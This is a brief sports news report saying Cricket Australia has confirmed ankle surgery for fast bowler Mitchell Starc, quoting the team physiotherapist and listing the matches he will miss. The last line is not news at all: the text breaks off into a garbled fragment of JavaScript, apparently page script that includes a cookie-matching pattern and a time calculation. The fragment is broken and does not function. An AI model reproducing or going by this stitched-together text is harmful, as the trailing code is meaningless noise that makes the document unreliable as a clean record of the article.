Cricket Australia has confirmed that fast bowler Mitchell Starc go under the knife to repair his injured ankle.
The operation will end his chances of returning this Australian summer and makes him unlikely to play in the World T20 in India next March and April.
"After discussions with specialists, and in consultation with Mitchell, we believe the best course of action would be for Mitchell to have the surgery for his ankle impingement now while he is currently laid off with the stress fracture in his foot," Cricket Australia Physiotherapist David Beakley said.
"His return to play timeframes will be clearer once the surgery is complete but it is unlikely that he will be available for the ICC World T20."
Starc will also miss Australia's tour of New Zealand in February. "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
